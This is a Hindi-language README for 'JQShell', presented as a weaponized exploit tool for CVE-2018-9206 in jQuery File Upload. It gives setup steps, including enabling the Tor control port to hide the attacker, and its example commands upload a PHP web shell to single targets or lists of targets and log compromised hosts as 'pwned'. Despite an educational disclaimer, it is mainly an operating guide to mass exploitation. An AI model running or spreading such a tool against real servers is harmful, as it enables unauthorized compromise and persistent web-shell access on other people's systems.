
CVE-2018-9206 (jQuery File Upload) के लिए स्वचालित शोषण उपकरण, जिसमें एकल/बहु-लक्ष्य स्कैनिंग, Tor प्रॉक्सी समर्थन, और पैठ परीक्षण और शैक्षिक उपयोग के लिए आउटपुट लॉगिंग शामिल है।

JQShell
CVE-2018-9206 का एक हथियारबद्ध संस्करण।
अस्वीकरण
इसका उपयोग उन सर्वरों के विरुद्ध करना जिन पर आपका नियंत्रण नहीं है, अधिकांश देशों में अवैध है। लेखक इस सॉफ्टवेयर का अवैध उद्देश्यों के लिए उपयोग करने वालों के कार्यों की कोई जिम्मेदारी नहीं लेता। यह सॉफ्टवेयर केवल शैक्षिक उपयोग के लिए है। इस सॉफ्टवेयर के निर्माण में कोई सर्वर अवैध रूप से pwned नहीं किया गया।
विशेषताएँ
एकल लक्ष्य बहु-लक्ष्य Tor
पूर्वापेक्षाएँ
कृपया इन आवश्यक पैकेजों को स्थापित करें।
Python3
pip3 install requests pysocks subprocess stem
Tor नियंत्रण पोर्ट
इस स्क्रिप्ट में Tor का उपयोग करने के लिए, आपको अपनी torrc फ़ाइल को संपादित करना होगा और 9051 पर Tor नियंत्रण पोर्ट को सक्षम करना होगा।
आमतौर पर यह फ़ाइल यहाँ स्थित है: /etc/tor/torrc
इस फ़ाइल को खोलें और इस पंक्ति को बदलें:
#ControlPort 9051
से
ControlPort 9051
Tor सेवा को पुनः प्रारंभ करें
उपयोग
usage: jqshell.py [-h] [-l LIST_INIT] [-t SINGLE_TARGET] -s SHELL_LOC
[-o OUTPUTZ] [-tor]
optional arguments:
-h, --help show this help message and exit
-l LIST_INIT, --list LIST_INIT
Select for a list of assets to exploit
-t SINGLE_TARGET, --target SINGLE_TARGET
Single exploit target
-s SHELL_LOC, --shell SHELL_LOC
This is required, put the fullpath to your shell
-o OUTPUTZ, --output OUTPUTZ
This is full path to were you want to save your list
of confirmed hosts
-tor, --tor_proxy Select if you have tor installed, you will need to
enable control port
उदाहरण
एकल लक्ष्य के विरुद्ध चलाना।
python3 jqshell.py -t http://localhost/folderwerejqueryis -s /var/www/html/shell.php
एकल लक्ष्य के विरुद्ध चलाना, आउटपुट सहेजने के साथ।
python3 jqshell.py -t https://localhost/folderwerejqueryis -s /var/www/html/shell.php -o pwned.txt
एक सूची चलाना, आउटपुट सहेजने के साथ।
python3 jqshell.py -l /opt/jquery/test.txt -s /var/www/html/shell.php -o pwned.txt
लेखक